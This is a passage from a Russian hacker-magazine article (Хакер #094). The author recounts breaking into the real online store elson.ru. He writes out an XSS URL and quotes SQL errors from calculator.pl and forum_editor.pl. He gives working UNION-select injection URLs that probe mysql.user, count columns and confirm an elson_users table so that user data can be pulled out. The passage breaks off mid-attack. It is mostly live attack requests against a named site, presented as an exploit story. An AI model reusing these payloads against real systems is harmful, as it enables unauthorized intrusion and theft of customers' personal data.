Хакер по найму Стройков Леонид aka R0id Хакер, номер #094, стр. 094-090-2 http://elson.ru/cgi-bin/search.pl?search_string=мой_javascript-код&mode=catalog_search&x=0&y=0 Но, учитывая печальный опыт с реализацией xss на www.003.ru, я решил отложить баг до худших времен и осмотреть ресурс подробнее. Каталог товаров отображался в обычных html-страницах, а вот личный кабинет был написан на перле. Заинтересовавшись perl-движком, я начал «тестировать» его на прочность. Но, проверив скрипты регистрации и личного кабинета, я был вынужден отступить. Однако через некоторое время обратил внимание на раздел «рассчитать доставку», в котором предлагалось заполнить три формы. После недолгих экспериментов со значениями полей скрипт ругнулся и выдал ошибку: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND weight_till>=1' limit 1' at line 1 SQL: SELECT weight_from, weight_till FROM elson_cpcr_pay_row WHERE weight_from<=1' AND weight_till>=1' limit 1 Оказалось, что скрипт calculator.pl не фильтровал входящие данные из поля «Вес товара», благодаря чему существовала возможность проведения sql-инъекции. Этот факт несомненно обрадовал меня, но напоследок я захотел пройтись по форуму магазина. Как ни странно, он тоже был написан на perl. Изменив значение параметра id в forum_editor.pl, я увидел сообщение: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND topic.checked=1 GROUP BY topic.id' at line 1 SQL: SELECT topic.subject, topic.description, DATE_FORMAT(topic.topic_date, '%d/%m/%Y %T'), topic.fio, topic.email FROM elson_forum_topic AS topic WHERE topic.id=? AND topic.checked=1 GROUP BY topic.id Вот и еще одна sql-injection проявила себя. Но в отличие от первой инъекции, где данные из html-формы передавались методом post, во втором случае использовался метод GET, что облегчало составление запросов к базе. Поэтому было решено использовать именно уязвимость в движке форума. Первым делом я проверил права для доступа к таблице пользователей MySQL: http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+*+from+mysql.user/*&s_text= На что получил отрицательный ответ: SELECT command denied to user: 'u18785@10.10.11.41' for table 'user' В такой ситуации мне ничего не оставалось делать, как попробовать подобрать количество полей. Поиграв с багой несколько минут, я достиг желаемого результата при помощи запроса: http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+null,null,null,null,null/*&s_text= Далее нужно было получить название таблицы в БД. После недолгих раздумий я указал «elson_users»: http://elson.ru/cgi-bin/forum_editor.pl?event=view_topic&topic_id=-1+union+select+*+from+elson_users/*&s_text= Ответ MySQL не заставил себя ждать: The used SELECT statements have a different number of columns Ура! Значит, таблица «elson_users» действительно существует. И я догадывался, какая информация находится в ней:). Оставалось только извлечь данные юзеров. Но для этого мне нужно было знать названия полей в таблице. Я не стал себя сильно утруждать и ввел «email», сам запрос выглядел так: |